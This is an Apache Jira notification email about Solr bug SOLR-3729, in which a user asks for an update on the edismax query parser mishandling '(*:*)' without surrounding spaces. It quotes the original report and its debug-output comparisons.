https://issues.apache.org/jira/browse/SOLR-3729?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214551#comment-17214551
]
Romain MERESSE commented on SOLR-3729:
--
No update on this issue ?
> ExtendedDismaxQParser (edismax) doesn't parse (*:*) properly
>
>
> Key: SOLR-3729
> URL: https://issues.apache.org/jira/browse/SOLR-3729
> Project: Solr
> Issue Type: Bug
> Components: query parsers
>Affects Versions: 4.0-BETA
>Reporter: Jack Krupansky
>Priority: Major
> Attachments: SOLR-3729.patch
>
>
> I just happen to notice that (\*:\*) is not parsed properly by the edismax
> (ExtendedDismaxQParser) query parser in 4.0-beta. It appears to require
> spaces before and after the \*:\*, otherwise it treats the colon as part of a
> wildcard term (see the escaping below). I haven’t tried other releases yet.
> My original query:
> http://localhost:8983/solr/select/?debugQuery=true&q=(*:*)&defType=edismax
> Produces this:
> {code}
> (*:*)
> (+DisjunctionMaxQuery((text:*\:*)))/no_coord
> +(text:*\:*)
> ExtendedDismaxQParser
> {code}
> Some variations I tried:
> {code}
> ( *:*)
> (+DisjunctionMaxQuery((text:*\:*)))/no_coord
> +(text:*\:*)
>
> (*:* )
> (+DisjunctionMaxQuery((text:*\:*)))/no_coord
> +(text:*\:*)
>
> ( *:* )
> (+MatchAllDocsQuery(*:*))/no_coord
> +*:*
>
> (*:* -fox)
>
> (+(DisjunctionMaxQuery((text:*\:*))
> -DisjunctionMaxQuery((text:fox/no_coord
>
> +((text:*\:*) -(text:fox))
>
> ( *:* -fox)
>
> (+(MatchAllDocsQuery(*:*) -DisjunctionMaxQuery((text:fox/no_coord
>
> +(*:* -(text:fox))
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
